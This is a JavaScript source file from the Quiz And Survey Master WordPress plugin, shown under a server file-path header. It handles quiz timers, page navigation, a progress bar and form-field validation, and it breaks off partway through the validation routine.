Current File : /home/itiffy/itiffyproject.com/wollombi/wp-content/plugins/quiz-master-next/js/qsm-quiz.js |
/**************************
* Quiz And Survey Master
*************************/
/**************************
* This object contains the newer functions. All global functions under are slowly
* being deprecated and replaced with rewritten newer functions
**************************/
var QSM;
var QSMPageTimer;
var qsmTimerInterval = [];
(function ($) {
QSM = {
/**
* Initializes all quizzes or surveys on the page
*/
init: function () {
// Makes sure we have quizzes on this page
if (typeof qmn_quiz_data != 'undefined' && qmn_quiz_data) {
// hide the recaptcha by default
$('.g-recaptcha').hide();
// Cycle through all quizzes
_.each(qmn_quiz_data, function (quiz) {
let quizID = parseInt(quiz.quiz_id);
if ( null == localStorage.getItem('mlw_quiz_start_date' + quizID) ) {
localStorage.setItem('mlw_quiz_start_date' + quizID, qmn_ajax_object.start_date);
}
jQuery.ajax({
url: qmn_ajax_object.ajaxurl,
data: {
action: "qsm_create_quiz_nonce",
quiz_id: quizID,
},
type: 'POST',
success: function (response) {
jQuery('.qsm-quiz-container-' + quizID + '').prepend('<input type="hidden" name="qsm_nonce" id="qsm_nonce_'+quizID+'" value="'+response.data+'"/>');
}
});
QSM.initPagination(quizID);
if ( ( quiz.hasOwnProperty('pagination') || ( _.keys(quiz.qpages).length > 1 && !jQuery('.qsm-quiz-container-'+quizID+' .qsm-auto-page-row').length ) ) ) {
qsmEndTimeTakenTimer(quizID);
jQuery('.qsm-quiz-container-' + quizID + ' #timer').val(0);
jQuery(".qsm-quiz-container-" + quizID + " input[name='timer_ms']").val(0);
quizType = 'paginated';
if ( qmn_quiz_data[quizID].hasOwnProperty('advanced_timer') && qmn_quiz_data[quizID].advanced_timer.hasOwnProperty('show_stop_timer') ) {
QSMPageTimer.endPageTimer(quizID, true);
}
}
if (quiz.hasOwnProperty('timer_limit') && 0 != quiz.timer_limit) {
QSM.initTimer(quizID);
quizType = 'timer';
} else {
qsmTimerInterval[quizID] = setInterval(function () { qmnTimeTakenTimer(quizID) }, 1000);
}
if (jQuery('.qsm-quiz-container-' + quizID + ' .qsm-submit-btn').is(':visible') && !jQuery('.qsm-quiz-container-' + quizID).hasClass('qsm_auto_pagination_enabled') ) {
jQuery('.qsm-quiz-container-' + quizID + ' .qsm-quiz-comment-section').fadeIn();
}
});
}
},
/**
* Sets up timer for a quiz
*
* @param int quizID The ID of the quiz
*/
initTimer: function (quizID) {
jQuery(document).trigger('qsm_init_timer_before', [quizID]);
// Gets our form
var $quizForm = QSM.getQuizForm(quizID);
// Creates timer status key.
qmn_quiz_data[quizID].timerStatus = false;
// If we are using the newer pagination system...
if (0 < $quizForm.children('.qsm-page').length) {
// If there is a first page...
if (!qmn_quiz_data[quizID].hasOwnProperty('first_page') || !qmn_quiz_data[quizID].first_page) {
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
// ...else, we must be using the questions per page option.
} else {
if (qmn_quiz_data[quizID].hasOwnProperty('pagination') && qmn_quiz_data[quizID].first_page) {
$(document).on('click', '.qsm-quiz-container-' + quizID + ' .mlw_next', function (event) {
event.preventDefault();
if ( qmn_quiz_data[quizID].hasOwnProperty('advanced_timer') && qmn_quiz_data[quizID].advanced_timer.hasOwnProperty('show_stop_timer') ) {
var start_timer = parseInt(qmn_quiz_data[quizID].advanced_timer.start_timer_page);
if ($('.qsm-quiz-container-' + quizID).find('.qmn_pagination > .slide_number_hidden').val() == start_timer) {
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
} else {
if (!qmn_quiz_data[quizID].timerStatus && (0 == $('.quiz_begin:visible').length || (1 == $('.quiz_begin:visible').length && qmnValidatePage('quizForm' + quizID)))) {
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
}
});
} else {
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
}
jQuery(document).trigger('qsm_init_timer_after', [quizID]);
},
/**
* Starts the timer for the quiz.
*
* @param int quizID The ID of the quiz.
*/
activateTimer: function (quizID) {
var timer_ms = jQuery(".qsm-quiz-container-" + quizID + " input[name='timer_ms']").val();
if (timer_ms == 0) {
jQuery('.qsm-quiz-container-' + quizID + ' #timer').val(0);
qsmTimerInterval[quizID] = setInterval(function () { qmnTimeTakenTimer(quizID) }, 1000);
jQuery(".qsm-quiz-container-" + quizID + " input[name='timer_ms']").each(function () {
var timems = qsmTimeInMS();
jQuery(this).val(timems);
});
}
jQuery(document).trigger('qsm_activate_time_before', [quizID, qmn_quiz_data]);
// Gets our form.
var $timer = QSM.getTimer(quizID);
// Sets up our variables.
qmn_quiz_data[quizID].timerStatus = true;
var seconds = 0;
// Calculates starting time.
var timerStarted = localStorage.getItem('mlw_started_quiz' + quizID);
var timerRemaning = localStorage.getItem('mlw_time_quiz' + quizID);
if ('yes' == timerStarted && 0 < timerRemaning) {
seconds = parseInt(timerRemaning);
} else {
seconds = parseFloat(qmn_quiz_data[quizID].timer_limit) * 60;
}
qmn_quiz_data[quizID].timerRemaning = seconds;
//hidden timer
jQuery(".hiddentimer").html(seconds);
// Makes the timer appear.
$timer.show();
$timer.text(QSM.secondsToTimer(seconds));
// Sets up timer interval.
if (!isNaN(qmn_quiz_data[quizID].timerRemaning)) {
clearInterval(qmn_quiz_data[quizID].timerInterval);
qmn_quiz_data[quizID].timerInterval = setInterval(QSM.timer, 1000, quizID);
}
jQuery(document).trigger('qsm_activate_time_after', [quizID, qmn_quiz_data]);
},
/**
* Reduces the timer by one second and checks if timer is 0
*
* @param int quizID The ID of the quiz.
*/
timer: function (quizID) {
qmn_quiz_data[quizID].timerRemaning -= 1;
if (0 > qmn_quiz_data[quizID].timerRemaning) {
qmn_quiz_data[quizID].timerRemaning = 0;
}
var secondsRemaining = qmn_quiz_data[quizID].timerRemaning;
var display = QSM.secondsToTimer(secondsRemaining);
var systemTime = new Date().getTime() / 1000;
systemTime = Math.round(systemTime);
if ('1' === qmn_quiz_data[quizID].not_allow_after_expired_time && systemTime > qmn_quiz_data[quizID].scheduled_time_end) {
MicroModal.show('modal-4');
return false;
}
// Sets our local storage values for the timer being started and current timer value.
localStorage.setItem('mlw_time_quiz' + quizID, secondsRemaining);
localStorage.setItem('mlw_started_quiz' + quizID, "yes");
// Updates timer element and title on browser tab.
var $timer = QSM.getTimer(quizID);
$timer.text(display);
document.title = display + ' ' + qsmTitleText;
/*CUSTOM TIMER*/
if (qmn_quiz_data[quizID].hasOwnProperty('advanced_timer') && qmn_quiz_data[quizID].advanced_timer.hasOwnProperty('show_stop_timer') && qmn_quiz_data[quizID].advanced_timer.timer_design == 'big_timer') {
$(".second.circle").parent('.mlw_quiz_form').addClass('qsm_big_timer');
$(".second.circle").show();
$(".second.circle strong").html(display);
var datashow = ($(".hiddentimer").html() - secondsRemaining) / $(".hiddentimer").html();
$(".second.circle").circleProgress({
startAngle: 11,
value: datashow,
animation: false,
fill: { gradient: ["#00bb40", "#00511c"] }
});
}
var $quizForm = QSM.getQuizForm(quizID);
var total_seconds = parseFloat(qmn_quiz_data[quizID].timer_limit) * 60;
var ninety_sec = total_seconds - (total_seconds * 90 / 100);
if (ninety_sec == secondsRemaining) {
$quizForm.closest('.qmn_quiz_container').find('.qsm_ninety_warning').fadeIn();
}
// If timer is run out, disable fields.
if (0 >= secondsRemaining) {
clearInterval(qmn_quiz_data[quizID].timerInterval);
$(".mlw_qmn_quiz input:radio").attr('disabled', true);
$(".mlw_qmn_quiz input:checkbox").attr('disabled', true);
$(".mlw_qmn_quiz select").attr('disabled', true);
$(".mlw_qmn_question_comment").attr('disabled', true);
$(".mlw_answer_open_text").attr('disabled', true);
$(".mlw_answer_number").attr('readonly', true);
$quizForm.closest('.qmn_quiz_container').addClass('qsm_timer_ended');
$quizForm.closest('.qmn_quiz_container').prepend('<p class="qmn_error_message" style="color: red;">' + qmn_ajax_object.quiz_time_over + '</p>');
if (qmn_quiz_data[quizID].enable_result_after_timer_end == 1) {
$quizForm.closest('.qmn_quiz_container').find('.qsm-submit-btn').trigger('click');
} else {
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').hide();
MicroModal.show('modal-3');
}
return;
}
},
/**
* Clears timer interval
*
* @param int quizID The ID of the quiz
*/
endTimer: function (quizID) {
localStorage.setItem('mlw_time_quiz' + quizID, 'completed');
localStorage.setItem('mlw_started_quiz' + quizID, 'no');
document.title = qsmTitleText;
if (typeof qmn_quiz_data[quizID].timerInterval != 'undefined') {
clearInterval(qmn_quiz_data[quizID].timerInterval);
}
jQuery(document).trigger('qsm_end_timer', [quizID, qmn_quiz_data]);
},
/**
* Converts seconds to 00:00:00 format
*
* @param int seconds The number of seconds
* @return string A string in H:M:S format
*/
secondsToTimer: function (seconds) {
var formattedTime = '';
seconds = parseInt(seconds);
// Prepares the hours part.
var hours = Math.floor(seconds / 3600);
if (0 === hours) {
formattedTime = '00:';
} else if (10 > hours) {
formattedTime = '0' + hours + ':';
} else {
formattedTime = hours + ':';
}
// Prepares the minutes part.
var minutes = Math.floor((seconds % 3600) / 60);
if (0 === minutes) {
formattedTime = formattedTime + '00:';
} else if (10 > minutes) {
formattedTime = formattedTime + '0' + minutes + ':';
} else {
formattedTime = formattedTime + minutes + ':';
}
// Prepares the seconds part.
var remainder = Math.floor((seconds % 60));
if (0 === remainder) {
formattedTime = formattedTime + '00';
} else if (10 > remainder) {
formattedTime = formattedTime + '0' + remainder;
} else {
formattedTime = formattedTime + remainder;
}
return formattedTime;
},
/**
* Gets the jQuery object for the timer
*/
getTimer: function (quizID) {
var $quizForm = QSM.getQuizForm(quizID);
return $quizForm.children('.mlw_qmn_timer');
},
/**
* Sets up pagination for a quiz
*
* @param int quizID The ID of the quiz.
*/
initPagination: function (quizID) {
var $quizForm = QSM.getQuizForm(quizID);
/**
*
* CHecking if the quiz is random
*/
$is_random = $('.qmn_quiz_container').hasClass('random');
if (0 < $quizForm.children('.qsm-page').length) {
$quizForm.children('.qsm-page').hide();
template = wp.template('qsm-pagination-' + quizID);
$quizForm.append(template());
if ($quizForm.find('.qsm-pagination > .current_page_hidden').length == 0) {
$quizForm.find('.qsm-pagination').append('<input type="hidden" value="0" name="current_page" class="current_page_hidden" />');
}
if ('1' == qmn_quiz_data[quizID].progress_bar) {
jQuery(document).trigger('qsm_init_progressbar_before', [quizID, qmn_quiz_data]);
$('#quizForm' + quizID).find('.qsm-progress-bar').show();
qmn_quiz_data[quizID].bar = new ProgressBar.Line('#quizForm' + quizID + ' .qsm-progress-bar', {
strokeWidth: 2,
easing: 'easeInOut',
duration: 1400,
color: '#3498db',
trailColor: '#eee',
trailWidth: 1,
svgStyle: { width: '100%', height: '100%' },
text: {
style: {
// color: '#999',
position: 'absolute',
padding: 0,
margin: 0,
top: 0,
right: '10px',
'font-size': '13px',
'font-weight': 'bold',
transform: null
},
autoStyleContainer: false
},
from: { color: '#3498db' },
to: { color: '#ED6A5A' },
step: function (state, bar) {
//bar.setText(Math.round(bar.value() * 100) + ' %');
}
});
jQuery(document).trigger('qsm_init_progressbar_after', [quizID, qmn_quiz_data]);
}
QSM.goToPage(quizID, 1);
jQuery(document).on('click', '.qsm-quiz-container-' + quizID + ' .qsm-pagination .qsm-next', function (event) {
jQuery(document).trigger('qsm_next_button_click_before', [quizID]);
event.preventDefault();
let $quizForm = QSM.getQuizForm(quizID);
jQuery('.qsm-quiz-container-' + quizID + ' .mlw_custom_next').addClass('qsm-disabled-btn');
jQuery('.qsm-quiz-container-' + quizID + ' .mlw_custom_next').append('<div class="qsm-spinner-loader" style="font-size: 3.5px;margin-right: -5px;margin-left: 10px;"></div>');
localStorage.setItem('qsm_total_validation_question' + quizID, 0);
localStorage.setItem('qsm_total_validated_question' + quizID, 0);
jQuery('.qmn_radio_answers:visible input:checked , .qmn_check_answers:visible input:checked , .qsm_select:visible').each(function () {
if (qmn_quiz_data[quizID].end_quiz_if_wrong > 0 && jQuery(this).parents().is(':visible') && jQuery(this).is('input, select')) {
if (jQuery(this).parents('.qmn_radio_answers, .qsm_check_answer')) {
let question_id = jQuery(this).attr('name').split('question')[1],
value = jQuery(this).val(),
$this = jQuery(this).parents('.quiz_section');
if (value !== "") {
let qsm_validation_question = localStorage.getItem('qsm_total_validation_question' + quizID);
qsm_validation_question++
localStorage.setItem('qsm_total_validation_question' + quizID, qsm_validation_question);
qsm_submit_quiz_if_answer_wrong(question_id, value, $this, $quizForm);
}
}
}
})
if (localStorage.getItem('qsm_total_validation_question' + quizID) == localStorage.getItem('qsm_total_validated_question' + quizID) ) {
jQuery('.qsm-quiz-container-' + quizID + ' .mlw_custom_next').removeClass('qsm-disabled-btn');
jQuery('.qsm-quiz-container-' + quizID + ' .qsm-spinner-loader').remove();
QSM.nextPage(quizID);
}
var $container = jQuery('.qsm-quiz-container-' + quizID);
if (qmn_quiz_data[quizID].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
jQuery(document).trigger('qsm_next_button_click_after', [quizID]);
});
jQuery(document).on('click', '.qsm-quiz-container-' + quizID + ' .qsm-pagination .qsm-previous', function (event) {
jQuery(document).trigger('qsm_previous_button_click_before', [quizID]);
event.preventDefault();
QSM.prevPage(quizID);
var $container = jQuery('.qsm-quiz-container-' + quizID);
if (qmn_quiz_data[quizID].disable_scroll_next_previous_click != 1) {
qsmScrollTo($container);
}
jQuery(document).trigger('qsm_previous_button_click_after', [quizID]);
});
}
// Gets timer element.
let $timer = QSM.getTimer(quizID);
// Calculates starting time.
let timerStarted = localStorage.getItem('mlw_started_quiz' + quizID);
let timerRemaning = localStorage.getItem('mlw_time_quiz' + quizID);
let seconds = parseFloat(qmn_quiz_data[quizID].timer_limit) * 60;
if ('yes' == timerStarted && 0 < timerRemaning) {
seconds = parseInt(timerRemaning);
}
$timer.text(QSM.secondsToTimer(seconds));
},
/**
* Navigates quiz to specific page
*
* @param int pageNumber The number of the page
*/
goToPage: function (quizID, pageNumber) {
jQuery(document).trigger('qsm_go_to_page_before', [quizID, pageNumber]);
var $quizForm = QSM.getQuizForm(quizID);
var $pages = $quizForm.children('.qsm-page');
var $currentPage = $quizForm.children('.qsm-page:nth-of-type(' + pageNumber + ')');
var $container = jQuery( '.qsm-quiz-container-' + quizID );
$pages.hide();
$currentPage.show();
if (qmn_quiz_data[quizID].hasOwnProperty('advanced_timer') && qmn_quiz_data[quizID].advanced_timer.hasOwnProperty('show_stop_timer') ) {
QSMPageTimer.endPageTimer(quizID);
QSMPageTimer.initPageTimer(quizID, $currentPage);
}
$quizForm.find('.current_page_hidden').val(pageNumber - 1);
$quizForm.find('.qsm-previous').hide();
$quizForm.find('.qsm-next').hide();
$quizForm.find('.qsm-submit-btn').hide();
$quizForm.find('.g-recaptcha').hide();
if (pageNumber < $pages.length) {
$quizForm.find('.qsm-next').show();
check_if_show_start_quiz_button($container, $pages.length, pageNumber);
} else {
$quizForm.find('.qsm-submit-btn').show();
if ( !jQuery('.qsm-quiz-container-'+ quizID +'.random') || !qmn_quiz_data[quizID].hasOwnProperty('pagination') ) {
$quizForm.find('.g-recaptcha').show();
}
}
if (1 < pageNumber) {
$quizForm.find('.qsm-previous').show();
}
if (1 == $currentPage.data('prevbtn')) {
$quizForm.find('.qsm-previous').hide();
}
if ('1' == qmn_quiz_data[quizID].disable_first_page) {
if (pageNumber == 1) {
$quizForm.find(".mlw_previous").hide();
$quizForm.find('.qsm-page-' + (parseInt(pageNumber))).show();
}
}
if ('1' == qmn_quiz_data[quizID].progress_bar) {
var current_page = jQuery('#quizForm' + quizID).find('.current_page_hidden').val();
var total_page_length = $pages.length - 1;
if (qmn_quiz_data[quizID].contact_info_location == 0) {
//Do nothing.
} else if (qmn_quiz_data[quizID].contact_info_location == 1) {
if ($quizForm.children('.qsm-page').find('.qsm_contact_div ').length > 0) {
//total_page_length = total_page_length - 1;
}
}
var animate_value = current_page / total_page_length;
if (animate_value <= 1) {
qmn_quiz_data[quizID].bar.animate(animate_value);
var old_text = jQuery('#quizForm' + quizID).find('.progressbar-text').text().replace(' %', '');
var new_text = Math.round(animate_value * 100);
jQuery({
Counter: old_text
}).animate({
Counter: new_text
}, {
duration: 1000,
easing: 'swing',
step: function () {
jQuery('#quizForm' + quizID).find('.progressbar-text').text(Math.round(this.Counter) + ' %');
}
});
}
}
QSM.savePage(quizID, pageNumber);
jQuery(document).trigger('qsm_go_to_page_after', [quizID, pageNumber]);
},
/**
* Moves forward or backwards through the pages
*
* @param int quizID The ID of the quiz
* @param int difference The number of pages to forward or back
*/
changePage: function (quizID, difference) {
var page = QSM.getPage(quizID);
if (qmn_quiz_data[quizID].hasOwnProperty('first_page') && qmn_quiz_data[quizID].first_page) {
if (qmn_quiz_data[quizID].hasOwnProperty('advanced_timer') && qmn_quiz_data[quizID].advanced_timer.hasOwnProperty('show_stop_timer') ) {
var start_timer = parseInt(qmn_quiz_data[quizID].advanced_timer.start_timer_page);
if (page == start_timer) { // check current page
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
} else {
if (!qmn_quiz_data[quizID].timerStatus) {
QSM.activateTimer(quizID);
$('.qsm-quiz-container-' + quizID).find('.stoptimer-p').show();
}
}
}
page += difference;
QSM.goToPage(quizID, page);
},
nextPage: function (quizID) {
if (qmnValidatePage('quizForm' + quizID)) {
QSM.changePage(quizID, 1);
}
},
prevPage: function (quizID) {
QSM.changePage(quizID, -1);
},
savePage: function (quizID, pageNumber) {
sessionStorage.setItem('quiz' + quizID + 'page', pageNumber);
},
getPage: function (quizID) {
pageNumber = parseInt(sessionStorage.getItem('quiz' + quizID + 'page'));
if (isNaN(pageNumber) || null == pageNumber) {
pageNumber = 1;
}
return pageNumber;
},
/**
* Scrolls to the top of supplied element
*
* @param jQueryObject The jQuery version of an element. i.e. $('#quizForm3')
*/
scrollTo: function ($element) {
jQuery('html, body').animate(
{
scrollTop: $element.offset().top - 150
},
1000);
},
/**
* Gets the jQuery object of the quiz form
*/
getQuizForm: function (quizID) {
return $('#quizForm' + quizID);
},
q_counter: Backbone.Model.extend({
defaults: {
answers: []
}
}),
changes: function (data, question_id, quiz_id) {
answers = qsmLogicModel.get('answers');
answers.push({
'q_id': question_id,
'incorrect': data.success == 'correct' ? 0 : 1,
});
qsmLogicModel.set({ 'answers': QSM.filter_question(qsmLogicModel.get('answers')) });
let update_answers = qsmLogicModel.get('answers');
let incorrect = 0;
update_answers.forEach(function(obj){
if(obj.incorrect == 1){
incorrect++;
}
});
if( qmn_quiz_data[quiz_id].end_quiz_if_wrong <= incorrect ) {
submit_status = true;
}else{
submit_status = false;
}
},
filter_question: function(arr) {
let result = {};
arr.forEach(function(obj) {
if (obj.q_id) {
result[obj.q_id] = obj;
}
});
return Object.values(result);
},
};
QSMPageTimer = {
/**
* Init Page Timer
*/
initPageTimer: function (quizID, $currentpage) {
jQuery(document).trigger('qsm_init_page_timer_before', [quizID, $currentpage]);
var $quizForm = QSM.getQuizForm(quizID);
var pid = $currentpage.data('pid');
if (undefined != pid) {
var $qpages = qmn_quiz_data[quizID].qpages;
var $curr_page_opt = $qpages[pid];
if ($curr_page_opt.hasOwnProperty('pagetimer') && 0 != $curr_page_opt.pagetimer) {
var $timer_box = $currentpage.find('.qsm-pagetimer');
var seconds = 0;
var timerStarted = localStorage.getItem('mlw_started_q' + quizID + '_page' + pid);
var timerStoped = localStorage.getItem('mlw_stoped_q' + quizID + '_page' + pid);
var timerRemaning = localStorage.getItem('mlw_time_q' + quizID + '_page' + pid);
if (timerStoped != 'undefined' && timerStoped > 0) {
seconds = timerStoped;
} else {
if ('yes' == timerStarted) {
if (0 < timerRemaning) {
seconds = parseInt(timerRemaning);
}
} else {
seconds = parseFloat($curr_page_opt.pagetimer) * 60;
}
}
qmn_quiz_data[quizID].qpages[pid].timerRemaning = seconds;
/* Makes the timer appear. */
$timer_box.show();
$timer_box.text(QSMPageTimer.secondsToTimer(seconds));
/* Sets up timer interval. */
qmn_quiz_data[quizID].qpages[pid].timerInterval = setInterval(QSMPageTimer.timer, 1000, quizID, pid, $timer_box);
}
$currentpage.find('.page_intro_wrapper video').each(function () {
var $this = jQuery(this);
var src = $this.find('source').attr('src');
$this.attr('src', src)
$this.load();
$this.get(0).play();
});
}
jQuery(document).trigger('qsm_init_page_timer_after', [quizID, $currentpage]);
},
/**
* Reduces the timer by one second and checks if timer is 0
* @param int quizID The ID of the quiz.
*/
timer: function (quizID, pid, $timer_box) {
var $quizForm = QSM.getQuizForm(quizID);
var $page = qmn_quiz_data[quizID].qpages[pid];
qmn_quiz_data[quizID].qpages[pid].timerRemaning -= 1;
if (0 > qmn_quiz_data[quizID].qpages[pid].timerRemaning) {
qmn_quiz_data[quizID].qpages[pid].timerRemaning = 0;
}
var total_seconds = parseFloat($page.pagetimer) * 60;
var secondsRemaining = qmn_quiz_data[quizID].qpages[pid].timerRemaning;
var display = QSMPageTimer.secondsToTimer(secondsRemaining);
$timer_box.text(display);
var pageTimeTaken = total_seconds - secondsRemaining;
jQuery('#pagetime_' + pid).val(pageTimeTaken);
/* Sets our local storage values for the timer being started and current timer value. */
localStorage.setItem('mlw_started_q' + quizID + '_page' + pid, "yes");
localStorage.setItem('mlw_time_q' + quizID + '_page' + pid, secondsRemaining);
if ($page.hasOwnProperty('pagetimer_warning') && 0 != $page.pagetimer_warning) {
var page_warning_sec = parseFloat($page.pagetimer_warning) * 60;
if (page_warning_sec == secondsRemaining) {
$timer_box.parents('.qsm-page').find('.qsm-pagetimer-warning').fadeIn();
}
}
/* If timer is run out, disable fields. */
if (0 >= secondsRemaining) {
clearInterval(qmn_quiz_data[quizID].qpages[pid].timerInterval);
$(".qsm-page:visible input:radio").attr('disabled', true);
$(".qsm-page:visible input:checkbox").attr('disabled', true);
$(".qsm-page:visible select").attr('disabled', true);
$(".qsm-page:visible .mlw_qmn_question_comment").attr('disabled', true);
$(".qsm-page:visible .mlw_answer_open_text").attr('disabled', true);
$(".qsm-page:visible .mlw_answer_number").attr('disabled', true);
QSMPageTimer.endPageTimer(quizID);
MicroModal.show('modal-page-1');
return;
}
},
/**
* Clears timer interval
* @param int quizID The ID of the quiz
*/
endPageTimer: function (quizID, clearStorage = false) {
jQuery.each(qmn_quiz_data[quizID].qpages, function (i, value) {
if (value.hasOwnProperty('pagetimer') && 0 != value.pagetimer) {
if (clearStorage) {
localStorage.removeItem('mlw_started_q' + quizID + '_page' + value.id);
localStorage.removeItem('mlw_stoped_q' + quizID + '_page' + value.id);
localStorage.removeItem('mlw_time_q' + quizID + '_page' + value.id);
}
var secondsRemaining = qmn_quiz_data[quizID].qpages[value.id].timerRemaning;
localStorage.setItem('mlw_stoped_q' + quizID + '_page' + value.id, secondsRemaining);
localStorage.setItem('mlw_time_q' + quizID + '_page' + value.id, 'completed');
if (typeof qmn_quiz_data[quizID].qpages[value.id].timerInterval != 'undefined') {
clearInterval(qmn_quiz_data[quizID].qpages[value.id].timerInterval);
}
}
});
},
/**
* Converts seconds to 00:00:00 format
* @param int seconds The number of seconds
* @return string A string in H:M:S format
*/
secondsToTimer: function (seconds) {
var formattedTime = '';
seconds = parseInt(seconds);
var hours = Math.floor(seconds / 3600);
if (0 === hours) {
formattedTime = '00:';
} else if (10 > hours) {
formattedTime = '0' + hours + ':';
} else {
formattedTime = hours + ':';
}
var minutes = Math.floor((seconds % 3600) / 60);
if (0 === minutes) {
formattedTime = formattedTime + '00:';
} else if (10 > minutes) {
formattedTime = formattedTime + '0' + minutes + ':';
} else {
formattedTime = formattedTime + minutes + ':';
}
var remainder = Math.floor((seconds % 60));
if (0 === remainder) {
formattedTime = formattedTime + '00';
} else if (10 > remainder) {
formattedTime = formattedTime + '0' + remainder;
} else {
formattedTime = formattedTime + remainder;
}
return formattedTime;
},
}
// On load code
$(function () {
qmnDoInit();
});
}(jQuery));
// Global Variables
var qsmTitleText = document.title;
var qsmLogicModel = new QSM.q_counter({});
/**
* Validates an email ID.
*
* @param email The Email Id to validate.
* @returns Boolean
*/
function isEmail(email) {
var regex = /^([a-zA-Z0-9_\.\-\+])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!regex.test(email)) {
return false;
} else {
return true;
}
}
/**
* Validates an email ID from specific domains.
*
* @param email The Email Id to validate.
* @returns Boolean
*/
function isValidDomains(email, domains) {
if ('undefined' == domains) {
return true;
}
if (0 == domains.length) {
return true;
}
for (var i = 0; i < domains.length; i++) {
if (email.indexOf(domains[i]) != -1) {
return true;
}
}
return false;
}
/**
* Validates a URL.
*
* @param url URL to validate.
* @returns Boolean
*/
function isUrlValid(url) {
return /^(http|https|ftp):\/\/[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/.*)?$/i.test(url);
}
/**
* Limit multiple response based on question limit
* @returns
*/
function qsmCheckMR(event, limit) {
var checked = jQuery(event).parents('.quiz_section').find(':checkbox:checked').length;
if (checked > limit) {
event.checked = false;
if (jQuery(event).parents('.quiz_section').find('.multi-checkbox-limit-reach').length == 0) {
jQuery(event).parents('.quiz_section').append('<span class="multi-checkbox-limit-reach">' + qmn_ajax_object.multicheckbox_limit_reach + '</span>');
}
} else {
jQuery(event).parents('.quiz_section').find('.multi-checkbox-limit-reach').remove();
}
}
function qmnDoInit() {
// Legacy init.
qmnInit();
// Call main initialization.
qsminstance = QSM.init();
jQuery(document).on("qsm_next_button_click_after", function (_event, _quiz_id) {
if (quizType == 'paginated') {
var timer_ms = jQuery(".qsm-quiz-container-" + _quiz_id + " input[name='timer_ms']").val();
if (timer_ms == 0) {
jQuery('.qsm-quiz-container-' + _quiz_id + ' #timer').val(0);
qsmTimerInterval[_quiz_id] = setInterval(function () { qmnTimeTakenTimer(_quiz_id) }, 1000);
jQuery(".qsm-quiz-container-" + _quiz_id + " input[name='timer_ms']").each(function () {
var timems = qsmTimeInMS();
jQuery(this).val(timems);
});
}
}
if ( jQuery('.qsm-quiz-container-' + _quiz_id + ' .qsm-submit-btn').is(':visible') || jQuery('.qsm-quiz-container-' + _quiz_id + ' .qsm-quiz-comment-section').closest('.qsm-page').is(':visible') ) {
jQuery('.qsm-quiz-container-' + _quiz_id + ' .qsm-quiz-comment-section').fadeIn();
}
});
}
function qmnTimeTakenTimer(quizID) {
var x = +jQuery('.qsm-quiz-container-' + quizID + ' #timer').val();
if (NaN === x) {
x = 0;
}
x = x + 1;
jQuery('.qsm-quiz-container-' + quizID + ' #timer').val(x);
}
function qsmEndTimeTakenTimer(quiz_id) {
clearInterval(qsmTimerInterval[quiz_id]);
}
function qsmTimeInMS() {
var d = new Date();
var n = d.getTime();
return n;
}
function qmnClearField(field) {
if (field.defaultValue == field.value) field.value = '';
}
function qsmScrollTo($element) {
if ($element.length > 0) {
jQuery(document).trigger('qsm_scroll_to_top_before', [$element]);
jQuery('html, body').animate({ scrollTop: $element.offset().top - 150 }, 1000);
jQuery(document).trigger('qsm_scroll_to_top_after', [$element]);
}
}
function qmnDisplayError(message, field, quiz_form_id) {
jQuery('#' + quiz_form_id + ' .qmn_error_message_section').addClass('qmn_error_message');
jQuery('#' + quiz_form_id + ' .qmn_error_message').text(message);
if (field.parents('.qsm_contact_div').length) {
field.parents('.qsm_contact_div').addClass('qmn_error');
} else {
field.closest('.quiz_section').addClass('qmn_error');
}
}
function qmnResetError(quiz_form_id) {
jQuery('#' + quiz_form_id + ' .qmn_error_message').text('');
jQuery('#' + quiz_form_id + ' .qmn_error_message_section').removeClass('qmn_error_message');
jQuery('#' + quiz_form_id + ' .qsm_contact_div').removeClass('qmn_error');
jQuery('#' + quiz_form_id + ' .quiz_section').removeClass('qmn_error');
}
var show_result_validation = true;
function qmnValidation(element, quiz_form_id) {
show_result_validation = true;
jQuery(document).trigger('qsm_before_validation', [element, quiz_form_id]);
var quiz_id = +jQuery('#' + quiz_form_id).find('.qmn_quiz_id').val();
var error_messages = qmn_quiz_data[quiz_id].error_messages;
qmnResetError(quiz_form_id);
jQuery(element).each(function () {
if ( jQuery(this).attr('class') && ( jQuery(this).is(':visible') || jQuery(this).attr('class').indexOf('mlwRequiredAccept') || ( jQuery(this).attr('class').indexOf('mlwRequiredPolar') > -1 && jQuery(this).parent().is(':visible') ) ) ) {
if (jQuery(this).attr('class').indexOf('mlwEmail') !== -1 && this.value !== "") {
// Remove any trailing and preceeding space.
var x = jQuery.trim(this.value);
if (!isEmail(x)) {
qmnDisplayError(error_messages.email_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
/**
* Validate email from allowed domains.
*/
var domains = jQuery(this).attr('data-domains');
if ('undefined' != typeof domains) {
if (!isValidDomains(x, domains.split(","))) {
qmnDisplayError(error_messages.email_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
}
if (jQuery(this).attr('class').indexOf('mlwUrl') !== -1 && this.value !== "") {
// Remove any trailing and preceeding space.
if (!isUrlValid(jQuery.trim(this.value))) {
qmnDisplayError(error_messages.url_error_text, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
if (jQuery(this).attr('class').indexOf('mlwMinLength') !== -1 && this.value !== "") {
// Remove any trailing and preceeding space.
if (jQuery.trim(this.value).length < jQuery(this).attr('minlength')) {
var minlength_error = error_messages.minlength_error_text;
minlength_error = minlength_error.replace('%minlength%', jQuery(this).attr('minlength'));
qmnDisplayError(minlength_error, jQuery(this), quiz_form_id);
show_result_validation = false;
}
}
if (jQuery(this).attr('class').indexOf('mlwMaxLength') !== -1 && this.value !== "") {
// Remove any trailing and preceeding space.
if (jQuery.trim(this.value).length > jQuery(this).attr('maxlength')) {
var maxlength_error = error_messages.maxlength_error_text;
maxlength_error = maxlength_error.replace('%maxlength%', jQuery(this).attr('maxlength'));
